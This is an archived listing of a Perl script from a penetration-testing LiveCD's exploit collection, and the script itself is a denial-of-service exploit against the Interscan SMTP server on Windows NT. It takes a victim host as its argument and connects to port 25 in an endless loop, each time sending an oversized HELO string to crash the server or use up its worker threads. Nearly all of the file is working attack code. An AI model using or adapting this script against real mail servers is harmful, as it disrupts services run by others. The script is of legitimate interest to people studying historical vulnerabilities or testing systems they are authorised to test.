home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / interscan / ivwdos.pl < prev   
Text File  |  2005-02-12  |  1KB  |  44 lines

  1.  
  2. #!/usr/bin/perl
  3.  
  4. # (c) Alain Thivillon & Stephane Aubert 
  5. #     Herve Schauer Consultants 2000
  6. #     http://www.hsc.fr/
  7. #
  8. #     Do not use this stuff against Microsoft MX hosts :)
  9. #
  10. # Crash Interscan SMTP Server on Windows NT Version 3.32 Builds 1011 and 1022
  11. # Depending of debugger installed on NT, crash can be immediat if you use
  12. # Drwatson.32.exe (new connections get stuck), or can be limited to single
  13. # thread if Auto=0 in NT Debug key. Interscan limits number of running
  14. # threads (default 25) so it' very easy to exhaust all threads and finally
  15. # force answer to '452 Too Busy'
  16.  
  17. use Socket;
  18. use FileHandle;
  19.  
  20. $vict=$ARGV[0];
  21.  
  22. $AF_INET = 2;
  23. $SOCK_STREAM = 1;
  24. $port=25;
  25. $sockaddr = 'S n a4 x8';
  26.  
  27. ($name, $aliases, $type, $len, $thataddr) = gethostbyname($vict);
  28. $that = pack($sockaddr, $AF_INET, $port, $thataddr);
  29.  
  30. while (1) {
  31.   $mysock=new FileHandle;
  32.   socket($mysock, $AF_INET, $SOCK_STREAM, $proto) || die "socket failed\n";
  33.   connect($mysock, $that) || die "Connect failed\n";
  34.   select($mysock); $| = 1; select(STDOUT); $| = 1;
  35.  
  36.   $line = <$mysock>;
  37.   print $line; 
  38.   print $mysock "HELO ",'a'x4075,"\r\n";
  39.   $line = <$mysock>;
  40.   print $line; 
  41.   close $mysock; 
  42. }
  43.  
  44.